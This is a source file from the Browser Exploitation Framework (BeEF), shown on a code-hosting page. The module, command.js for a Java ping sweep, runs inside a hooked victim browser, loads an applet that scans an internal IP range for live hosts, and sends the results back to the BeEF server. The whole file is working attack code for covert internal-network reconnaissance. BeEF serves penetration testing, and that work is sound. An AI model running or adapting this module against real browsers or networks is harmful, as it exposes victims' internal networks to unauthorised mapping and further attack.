Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/ping_sweep_java/command.js
1155 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
8
beef.execute(function() {
9
10
var ipRange = "<%= @ipRange %>";
11
var timeout = "<%= @timeout %>";
12
var appletTimeout = 30;
13
var output = "";
14
var hostNumber = 0;
15
var internal_counter = 0;
16
var firstMsgSent = false;
17
18
beef.dom.attachApplet('pingSweep', 'pingSweep', 'pingSweep', beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/", null, [{'ipRange':ipRange, 'timeout':timeout}]);
19
20
function waituntilok() {
21
try {
22
hostNumber = document.pingSweep.getHostsNumber();
23
if(hostNumber != null && hostNumber > 0){
24
if(!firstMsgSent){
25
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Applet attached.<br>Hosts to check: ' + hostNumber + '<br>Required time (s): ~' + (timeout * hostNumber)/1000);
26
firstMsgSent = true;
27
}
28
output = document.pingSweep.getAliveHosts();
29
clearTimeout(int_timeout);
30
clearTimeout(ext_timeout);
31
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"), beef.are.status_success());
32
beef.dom.detachApplet('pingSweep');
33
return;
34
}else{
35
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.are.status_error());
36
return;
37
}
38
} catch (e) {
39
internal_counter++;
40
if (internal_counter > appletTimeout) {
41
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Timeout after '+appletTimeout+' seconds');
42
beef.dom.detachApplet('pingSweep');
43
return;
44
}
45
int_timeout = setTimeout(function() {waituntilok()},1000);
46
}
47
}
48
49
ext_timeout = setTimeout(function() {waituntilok()},5000);
50
51
});
52
53
54